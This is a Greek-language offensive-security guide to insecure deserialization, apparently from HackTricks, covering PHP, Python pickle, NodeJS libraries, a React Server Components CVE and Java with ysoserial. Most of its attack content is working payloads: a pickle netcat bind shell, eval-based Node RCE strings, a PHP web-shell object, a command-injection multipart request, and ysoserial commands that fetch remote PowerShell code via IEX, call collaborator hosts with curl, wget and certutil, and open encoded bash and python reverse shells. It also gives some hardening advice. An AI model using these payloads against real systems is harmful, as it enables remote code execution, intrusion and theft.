Αποσειριοποίηση

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Σειριοποίηση θεωρείται η μέθοδος μετατροπής ενός αντικειμένου σε μια μορφή που μπορεί να διατηρηθεί, με σκοπό είτε την αποθήκευση του αντικειμένου είτε τη μετάδοσή του ως μέρος μιας διαδικασίας επικοινωνίας. Αυτή η τεχνική χρησιμοποιείται συνήθως για να εξασφαλιστεί ότι το αντικείμενο μπορεί να αναδημιουργηθεί αργότερα, διατηρώντας τη δομή και την κατάσταση του.

Αποσειριοποίηση, αντίθετα, είναι η διαδικασία που αντιστρέφει τη σειριοποίηση. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους σε ένα αντικείμενο.

Η αποσειριοποίηση μπορεί να είναι επικίνδυνη επειδή ενδέχεται να επιτρέπει σε επιτιθέμενους να χειραγωγήσουν τα σειριοποιημένα δεδομένα για να εκτελέσουν επιβλαβή κώδικα ή να προκαλέσουν απρόσμενη συμπεριφορά στην εφαρμογή κατά τη διαδικασία ανακατασκευής του αντικειμένου.

PHP

Στο PHP, συγκεκριμένες μαγικές μέθοδοι χρησιμοποιούνται κατά τις διαδικασίες σειριοποίησης και αποσειριοποίησης:

  • __sleep: Καλείται όταν ένα αντικείμενο σειριοποιείται. Αυτή η μέθοδος πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που πρέπει να σειριοποιηθούν. Συνήθως χρησιμοποιείται για να ολοκληρώσει εκκρεμή δεδομένα ή να εκτελέσει παρόμοιες εργασίες καθαρισμού.
  • __wakeup: Καλείται όταν ένα αντικείμενο αποσειριοποιείται. Χρησιμοποιείται για να αποκαταστήσει τυχόν συνδέσεις με βάση δεδομένων που μπορεί να χάθηκαν κατά τη σειριοποίηση και να εκτελέσει άλλες εργασίες επαναπροετοιμασίας.
  • __unserialize: Αυτή η μέθοδος καλείται αντί του __wakeup (αν υπάρχει) όταν ένα αντικείμενο αποσειριοποιείται. Προσφέρει μεγαλύτερο έλεγχο στη διαδικασία αποσειριοποίησης σε σύγκριση με το __wakeup.
  • __destruct: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο πρόκειται να καταστραφεί ή όταν τερματίζει το script. Συνήθως χρησιμοποιείται για εργασίες καθαρισμού, όπως το κλείσιμο χειριστών αρχείων ή συνδέσεων βάσης δεδομένων.
  • __toString: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να αντιμετωπίζεται ως string. Μπορεί να χρησιμοποιηθεί για να διαβάσει ένα αρχείο ή για άλλες εργασίες βασισμένες στις κλήσεις συναρτήσεων μέσα σε αυτήν, παρέχοντας ουσιαστικά μια κειμενική αναπαράσταση του αντικειμένου.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Αν κοιτάξετε τα αποτελέσματα θα δείτε ότι οι συναρτήσεις __wakeup και __destruct καλούνται όταν το αντικείμενο αποσειριοποιείται. Σημειώστε ότι σε αρκετά tutorials θα βρείτε ότι η συνάρτηση __toString καλείται όταν προσπαθεί να εκτυπώσει κάποιο attribute, αλλά προφανώς αυτό δεν συμβαίνει πλέον.

Warning

Η μέθοδος __unserialize(array $data) καλείται αντί του __wakeup() εάν είναι υλοποιημένη στην κλάση. Επιτρέπει να αποσειριοποιήσετε το αντικείμενο παρέχοντας τα σειριοποιημένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποσειριοποιήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες ενέργειες κατά την αποσειριοποίηση.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Μπορείτε να διαβάσετε ένα εξηγημένο PHP παράδειγμα εδώ: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, εδώ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ή εδώ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Αποσειριοποίηση + Autoload Classes

Μπορείτε να εκμεταλλευτείτε τη λειτουργία PHP autoload για να φορτώσετε αυθαίρετα αρχεία php και άλλα:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Οι Livewire 3 synthesizers μπορούν να εξαναγκαστούν να δημιουργήσουν αυθαίρετα gadget graphs (με ή χωρίς APP_KEY) για να φτάσουν σε Laravel Queueable/SerializableClosure sinks:

Livewire Hydration Synthesizer Abuse

Serializing Referenced Values

Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως αναφορά σε άλλη σειριοποιημένη τιμή μπορείτε:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Αποτροπή του PHP Object Injection με allowed_classes

[!INFO] Η υποστήριξη για το δεύτερο όρισμα της unserialize() (τον πίνακα $options) προστέθηκε στην PHP 7.0. Σε παλαιότερες εκδόσεις η συνάρτηση δέχεται μόνο τη σειριοποιημένη συμβολοσειρά, καθιστώντας αδύνατο να περιοριστεί ποιες κλάσεις μπορούν να δημιουργηθούν.

unserialize() θα δημιουργήσει κάθε κλάση που βρει μέσα στη σειριοποιημένη ροή εκτός αν οριστεί διαφορετικά. Από την PHP 7 η συμπεριφορά μπορεί να περιοριστεί με την επιλογή allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Αν allowed_classes παραληφθεί ή ο κώδικας τρέχει σε PHP < 7.0, η κλήση γίνεται επικίνδυνη καθώς ένας επιτιθέμενος μπορεί να δημιουργήσει ένα payload που εκμεταλλεύεται μαγικές μεθόδους όπως __wakeup() ή __destruct() για να επιτύχει Remote Code Execution (RCE).

Πραγματικό παράδειγμα: Everest Forms (WordPress) CVE-2025-52709

Το WordPress plugin Everest Forms ≤ 3.2.2 προσπάθησε να είναι αμυντικό με έναν βοηθητικό wrapper αλλά ξέχασε τις παλαιότερες εκδόσεις PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Σε servers που εξακολουθούσαν να τρέχουν PHP ≤ 7.0, αυτός ο δεύτερος κλάδος οδήγησε σε έναν κλασικό PHP Object Injection όταν ένας διαχειριστής άνοιξε μια κακόβουλη υποβολή φόρμας. Ένα ελάχιστο exploit payload θα μπορούσε να μοιάζει με:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Μόλις ο admin είδε την εγγραφή, το αντικείμενο δημιουργήθηκε και η SomeClass::__destruct() εκτελέστηκε, με αποτέλεσμα arbitrary code execution.

Σημεία-κλειδιά

  1. Πάντα περάστε ['allowed_classes' => false] (ή μια αυστηρή white-list) όταν καλείτε unserialize().
  2. Ελέγξτε τα defensive wrappers – συχνά ξεχνούν τα legacy PHP branches.
  3. Η αναβάθμιση σε PHP ≥ 7.x από μόνη της δεν είναι επαρκής: η επιλογή πρέπει να δοθεί ρητά.

PHPGGC (ysoserial for PHP)

PHPGGC μπορεί να σας βοηθήσει να δημιουργήσετε payloads για την κατάχρηση των PHP deserializations.
Σημειώστε ότι σε αρκετές περιπτώσεις δεν θα μπορέσετε να βρείτε τρόπο να abuse μια deserialization στον source code της εφαρμογής, αλλά μπορεί να καταφέρετε να abuse τον κώδικα εξωτερικών PHP extensions.
Έτσι, αν μπορείτε, ελέγξτε το phpinfo() του server και αναζητήστε στο διαδίκτυο (ακόμη και στα gadgets του PHPGGC) κάποιο πιθανό gadget που θα μπορούσατε να abuse.

phar:// metadata deserialization

Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα του, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Μπορείτε να δοκιμάσετε να abuse μια deserialization που συμβαίνει όταν διαβάζετε ένα file χρησιμοποιώντας το πρωτόκολλο phar.
Για περισσότερες πληροφορίες διαβάστε το ακόλουθο post:

phar:// deserialization

Python

Pickle

Όταν το αντικείμενο γίνεται unpickle, η συνάρτηση ___reduce___ θα εκτελεστεί.
Εάν εκμεταλλευθεί, ο server μπορεί να επιστρέψει ένα σφάλμα.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Πριν ελέγξετε την τεχνική bypass, δοκιμάστε να χρησιμοποιήσετε print(base64.b64encode(pickle.dumps(P(),2))) για να δημιουργήσετε ένα αντικείμενο που είναι συμβατό με python2 εάν τρέχετε python3.

Για περισσότερες πληροφορίες σχετικά με τη διαφυγή από τα pickle jails ελέγξτε:

Bypass Python sandboxes

Yaml & jsonpickle

Η παρακάτω σελίδα παρουσιάζει την τεχνική για να abuse an unsafe deserialization in yamls στις python βιβλιοθήκες και ολοκληρώνεται με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για Pickle, PyYAML, jsonpickle και ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

Η JS δεν έχει “magic” functions όπως η PHP ή η Python που εκτελούνται απλώς με τη δημιουργία ενός αντικειμένου. Όμως διαθέτει κάποιες συναρτήσεις που χρησιμοποιούνται συχνά ακόμη και χωρίς να κληθούν άμεσα, όπως οι toString, valueOf, toJSON.
Εάν εκμεταλλευτείτε μια deserialization μπορείτε να παραβιάσετε αυτές τις συναρτήσεις για να εκτελέσουν άλλο κώδικα (πιθανώς εκμεταλλευόμενοι prototype pollutions) και έτσι να εκτελέσετε arbitrary code όταν κληθούν.

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link για περισσότερες πληροφορίες.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Αν θέλεις να μάθεις για αυτήν την τεχνική ρίξε μια ματιά στον παρακάτω οδηγό:

NodeJS - proto & prototype Pollution

node-serialize

Αυτή η βιβλιοθήκη επιτρέπει τη σειριοποίηση συναρτήσεων. Παράδειγμα:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Το σειριοποιημένο αντικείμενο θα μοιάζει ως εξής:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση σειριοποιείται η _$$ND_FUNC$$_ σημαία προστίθεται στο σειριοποιημένο αντικείμενο.

Μέσα στο αρχείο node-serialize/lib/serialize.js μπορείτε να βρείτε την ίδια σημαία και το πώς ο κώδικας τη χρησιμοποιεί.

Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, εάν η σημαία βρεθεί χρησιμοποιείται το eval για να αποσειριοποιήσει τη συνάρτηση, οπότε ουσιαστικά τα δεδομένα του χρήστη χρησιμοποιούνται μέσα στην eval.

Ωστόσο, απλώς σειριοποιώντας μια συνάρτηση δεν θα την εκτελέσει καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να καλεί την y.rce στο παράδειγμά μας και αυτό είναι πολύ απίθανο.
Πάντως, μπορείτε απλώς να τροποποιήσετε το σειριοποιημένο αντικείμενο προσθέτοντας κάποιες παρενθέσεις ώστε η σειριοποιημένη συνάρτηση να εκτελείται αυτόματα όταν το αντικείμενο απο-σειριοποιείται.
Στο επόμενο κομμάτι κώδικα παρατηρήστε την τελευταία παρένθεση και πώς η συνάρτηση unserialize θα εκτελέσει αυτόματα τον κώδικα:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το _$$ND_FUNC$$_ και θα τον εκτελέσει χρησιμοποιώντας eval. Επομένως, για να αυτο-εκτελέσετε κώδικα μπορείτε να διαγράψετε το τμήμα δημιουργίας της function και την τελευταία παρένθεση και απλώς να εκτελέσετε ένα JS oneliner όπως στο παρακάτω παράδειγμα:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here further information about how to exploit this vulnerability.

funcster

Ένα αξιοσημείωτο χαρακτηριστικό του funcster είναι η μη προσβασιμότητα των standard built-in objects· βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός εμποδίζει την εκτέλεση κώδικα που επιχειρεί να καλέσει μεθόδους σε built-in objects, οδηγώντας σε εξαιρέσεις όπως “ReferenceError: console is not defined” όταν εντολές όπως console.log() ή require(something) χρησιμοποιούνται.

Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο global context, συμπεριλαμβανομένων όλων των standard built-in objects, είναι δυνατή με μια συγκεκριμένη προσέγγιση. Αξιοποιώντας απευθείας το global context, μπορεί να παρακαμφθεί αυτός ο περιορισμός. Για παράδειγμα, η πρόσβαση μπορεί να επανακτηθεί χρησιμοποιώντας το ακόλουθο snippet:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

For more information read this source.

serialize-javascript

Το πακέτο serialize-javascript έχει σχεδιαστεί αποκλειστικά για σκοπούς serialization, χωρίς ενσωματωμένες δυνατότητες deserialization. Οι χρήστες είναι υπεύθυνοι να υλοποιήσουν τη δική τους μέθοδο για deserialization. Στο επίσημο παράδειγμα για deserializing serialized data προτείνεται η άμεση χρήση του eval:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Εάν αυτή η συνάρτηση χρησιμοποιείται για να deserialize objects μπορείτε εύκολα να την exploit:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Για περισσότερες πληροφορίες διαβάστε αυτή την πηγή.

Cryo library

Στις επόμενες σελίδες θα βρείτε πληροφορίες για το πώς να καταχραστείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

Τα React Server Components (RSC) βασίζονται στο react-server-dom-webpack (RSDW) για να αποκωδικοποιούν υποβολές server action που αποστέλλονται ως multipart/form-data. Κάθε υποβολή action περιέχει:

  • $ACTION_REF_<n> μέρη που αναφέρονται στην action που καλείται.
  • $ACTION_<n>:<m> μέρη των οποίων το σώμα είναι JSON όπως {"id":"module-path#export","bound":[arg0,arg1,...]}.

Στην έκδοση 19.2.0 ο helper decodeAction(formData, serverManifest) εμπιστεύεται τυφλά τόσο το id string (που επιλέγει ποιο export του module θα κληθεί) όσο και τον bound array (τα ορίσματα). Εάν ένας attacker μπορεί να φτάσει το endpoint που προωθεί αιτήματα στο decodeAction, μπορεί να καλέσει οποιαδήποτε exported server action με παραμέτρους που ελέγχονται από τον attacker ακόμη και χωρίς React front-end (CVE-2025-55182). Η συνταγή end-to-end είναι:

  1. Μάθετε το action identifier. Το bundle output, error traces ή leaked manifests συνήθως αποκαλύπτουν strings όπως app/server-actions#generateReport.
  2. Δημιουργήστε ξανά το multipart payload. Σχηματίστε ένα μέρος $ACTION_REF_0 και ένα $ACTION_0:0 JSON body που περιέχει το identifier και arbitrary arguments.
  3. Αφήστε το decodeAction να το δρομολογήσει. Ο helper επιλύει το module από το serverManifest, εισάγει το export και επιστρέφει ένα callable που ο server εκτελεί αμέσως.

Παράδειγμα payload που στοχεύει το /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Ή με curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Ο πίνακας bound γεμίζει απευθείας τις παραμέτρους server-action. Στο ευάλωτο lab το gadget μοιάζει με:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

Ένας attacker δεν χρειάζεται ποτέ έναν πραγματικό React client—οποιοδήποτε HTTP εργαλείο που εκπέμπει το $ACTION_* multipart shape μπορεί να καλέσει απευθείας server actions και να αλυσσοδέσει την προκύπτουσα JSON έξοδο σε ένα RCE primitive.

Java - HTTP

Στην Java, deserialization callbacks are executed during the process of deserialization. Αυτή η εκτέλεση μπορεί να εκμεταλλευτεί από attackers που κατασκευάζουν κακόβουλα payloads που ενεργοποιούν αυτά τα callbacks, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών.

Fingerprints

White Box

Για να εντοπίσετε πιθανές serialization vulnerabilities στον κώδικα, αναζητήστε:

  • Classes that implement the Serializable interface.
  • Usage of java.io.ObjectInputStream, readObject, readUnshare functions.

Δώστε επιπλέον προσοχή σε:

  • XMLDecoder utilized with parameters defined by external users.
  • XStream’s fromXML method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
  • ObjectInputStream coupled with the readObject method.
  • Implementation of methods such as readObject, readObjectNodData, readResolve, or readExternal.
  • ObjectInputStream.readUnshared.
  • General use of Serializable.

Black Box

Για black box testing, αναζητήστε συγκεκριμένες signatures or “Magic Bytes” που δηλώνουν java serialized objects (προερχόμενα από ObjectInputStream):

  • Hexadecimal pattern: AC ED 00 05.
  • Base64 pattern: rO0.
  • HTTP response headers with Content-type set to application/x-java-serialized-object.
  • Hexadecimal pattern indicating prior compression: 1F 8B 08 00.
  • Base64 pattern indicating prior compression: H4sIA.
  • Web files with the .faces extension and the faces.ViewState parameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Έλεγχος ευπάθειας

Αν θέλετε να learn about how does a Java Deserialized exploit work θα πρέπει να ρίξετε μια ματιά σε Basic Java Deserialization, Java DNS Deserialization, και CommonsCollection1 Payload.

SignedObject-gated deserialization και pre-auth reachability

Σύγχρονα codebases μερικές φορές τυλίγουν το deserialization με java.security.SignedObject και επαληθεύουν μια υπογραφή πριν καλέσουν το getObject() (το οποίο πραγματοποιεί το deserialization του εσωτερικού αντικειμένου). Αυτό αποτρέπει αυθαίρετες top-level gadget classes αλλά μπορεί να παραμείνει εκμεταλλεύσιμο αν ένας attacker καταφέρει να αποκτήσει έγκυρη υπογραφή (π.χ. private-key compromise ή ένας signing oracle). Επιπλέον, error-handling flows μπορεί να δημιουργούν session-bound tokens για unauthenticated users, εκθέτοντας κανονικά προστατευμένα sinks pre-auth.

Για μια συγκεκριμένη μελέτη περίπτωσης με requests, IoCs, και οδηγίες θωράκισης δείτε:

Java Signedobject Gated Deserialization

White Box Test

Μπορείτε να ελέγξετε αν υπάρχει εγκατεστημένη κάποια εφαρμογή με γνωστές ευπάθειες.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
Μπορείτε επίσης να χρησιμοποιήσετε το gadgetinspector για να αναζητήσετε πιθανές gadget chains που μπορούν να εκμεταλλευτούν.
Όταν τρέχετε το gadgetinspector (μετά το build) αγνοήστε τις δεκάδες προειδοποιήσεις/σφάλματα που εμφανίζονται και αφήστε το να τελειώσει. Θα γράψει όλα τα ευρήματα στο gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Παρακαλώ σημειώστε ότι gadgetinspector won’t create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι ευκολότερο να τα τροποποιήσετε και να παρακάμψετε κάποια ελέγχους.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Κατά τη δημιουργία ενός payload για java.lang.Runtime.exec() δεν μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες όπως “>” ή “|” για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, το “$()” για να εκτελέσετε εντολές ή ακόμη και να περάσετε παραμέτρους σε μια εντολή διαχωρισμένες με κενά (μπορείτε να κάνετε echo -n "hello world" αλλά δεν μπορείτε να κάνετε python2 -c 'print "Hello world"'). Για να κωδικοποιήσετε σωστά το payload μπορείτε να χρησιμοποιήσετε αυτή τη σελίδα.

